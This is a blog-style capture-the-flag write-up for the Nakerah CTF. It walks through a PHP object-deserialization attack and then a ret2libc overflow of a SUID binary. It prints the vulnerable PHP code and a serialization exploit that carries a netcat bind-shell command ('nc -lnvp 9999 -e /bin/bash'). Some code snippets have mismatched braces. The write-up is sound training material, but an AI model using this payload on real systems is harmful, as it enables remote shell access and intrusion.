infosec

infosec guy who seeks knowledge

View on GitHub

Nakerah CTF

Peace, mercy and blessings of God

today we are going to solve an interesting CTF from Nakerah!

our goal is to read root’s flag
expolit will be devided into two missions first deserilization attack then ret2libc

so with all that being said; let’s right jump in !!

First mission

first we have that static page

alt text

looking around source code nothing interested there

alt text

so let’s nmap it

alt text

as we see we have some other ports

so lets visit port 8080 and see what behind the scene

alt text

just another blank page (: i get bored so let’s gobuster it :XD

alt text

we have /backup file seems to be interesting let’s dump it

alt text

after downloading the file it’s php code

alt text

# analysis of code

 class exCommand{
        public function __destruct(){
            system($this->command);
        }
    }
class Hello{
        private $name;
        private $role;
        private $isSet;
        public function check(){
           $this->isSet=isset($_COOKIE['name']);
        }
        
        }
    }
public function printHello(){
            if($this->isSet){
                echo "<br >" . $_COOKIE['name']."<br /><br /><br />";
                echo "Hello " . $this->name . "<br>";
                echo "your role is " . $this->role . "\n";
                echo "<br ><br ><br >";
            }else{
                echo "good";
            }
$obj = unserialize($_COOKIE['name']);
$obj->check();
$obj->printHello();
so  stay focus here 
it's `deserilization attack` and we need to pass our command to exCommand function which has that magic method
we have two problems 
first with exCommand class we used a property command without identifying it so in our exploit 
we will have to pass it to an object and  give it a vlaue
second problem  we have to bypass that cookie checks so let's write our exploit code
the trick here is if we bypass check function it will just print some staff 
if we try to target our exCommand class it will fail with check function so ...

so we will create exCommand object, identify command property with a value (our command) put it inside Hello calss and selialize all that staff together

alt text

code analysis:

class exCommand{
   public function __destruct()}
   system($this->command);
   }
   }
$x = new exCommand;
$x->command = "nc -lnvp 9999 -e /bin/bash";
create our object and give the command property our target command (bind shell)$y = new Hello;
class Hello{
        public $name;
        public $role;
        public $isSet;
        public $dummy;
}
$y->name = "fady";
$y->role = "hacker";
$y->isSet = 1;
$y->dummy = $x;
print serialize($y);

here is our final serialized data

alt text

and let’s try connect

alt text

alt text

fisrt mission completed successfully



Second mission

in the root dir we got README file

alt text

NX which stand for non-executable so here we know it’s BOF expolit with ret2libc

after some enum we got that interesting suid file

alt text

so after getting it in our local machine to understand it better

alt text

we can identify that NX is enabled trying to run it gives seg fault after trying passing some args it just exit

alt text

so let’s create our buffer with msf-patter-create and fire up gdb to get the exact offset

alt text

to get things more easily let’s check ASLR in the vectim machine

alt text

and happy news will make our life easier so hence we will work in our target machine to get some address

alt text

we got addresses of system and exit now we need address of /bin/sh

alt text

to get the exact address of /bin/sh in the run time we add its address to the starting of libc address

alt text

now our exploit is complete lets have a lock at it

alt text

now let’s give it a try

alt text

and finally i want to say to Nakerah team “You're the best.” 

and oxf1f1 “You knocked me off my feet!”